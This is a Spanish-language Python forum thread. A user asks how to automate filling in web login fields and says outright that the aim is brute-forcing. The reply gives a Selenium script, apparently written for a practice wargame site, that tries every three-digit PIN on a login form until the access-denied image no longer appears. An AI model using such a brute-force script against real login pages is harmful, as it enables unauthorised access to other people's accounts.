Python - rellenar "campos" y pulsar botones de una web

 
Vista:
sin imagen de perfil

rellenar "campos" y pulsar botones de una web

Publicado por user (1 intervención) el 23/12/2016 11:38:36
estoy creando un pequeño programa, pero necesito que rellene un campo (por ejemplo usuario y contraseña) y que pulse un botón (por ejemplo login). No se necesitan tener muchas luces para ver que el programa que intento crear esta pensado para realizar ataques de fuerza bruta, pero solo es un reto para mi mismo, si quisiera realizar uno de estos ataques, me descargaría un programa gratuito de Internet que funcionaria mucho mejor que mi propio código.
Dicho esto, gracias a todo el que me ayude y espero una respuesta.
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder
sin imagen de perfil
Val: 1.841
Oro
Ha mantenido su posición en Python (en relación al último mes)
Gráfica de Python

rellenar "campos" y pulsar botones de una web

Publicado por tincopasan (561 intervenciones) el 23/12/2016 16:17:54
buscá información sobre selenium, que es ideal para cumplir ese objetivo.
te dejo un código que usé para un wargame:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#-*- coding:utf-8 -*-
import time,unittest
from selenium import webdriver
 
pagina = webdriver.Firefox()
pagina.get("http://practicashacking.net23.net/login.php")
numero=0
while numero < 1000:
    if numero < 100:
        numero=str(numero).zfill(3)
        llenar=numero
        numero=int(numero)
        pin = pagina.find_element_by_name("digi")
        pin.clear()
        pin.send_keys(llenar)
        acceder = pagina.find_element_by_name("enviar")
        acceder.click()
        chico_malo=pagina.find_elements_by_xpath("//img[@src='access-denied.png']")
        if len(chico_malo) == 1:
            pagina.back()
            numero+=1
        else:
            print(numero)
            pagina.quit()
    else:
        llenar=numero
        pin = pagina.find_element_by_name("digi")
        pin.clear()
        pin.send_keys(llenar)
        acceder = pagina.find_element_by_name("enviar")
        acceder.click()
        chico_malo=pagina.find_elements_by_xpath("//img[@src='access-denied.png']")
        if len(chico_malo) == 1:
            pagina.back()
            numero+=1
        else:
            print(numero)
            pagina.quit()
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar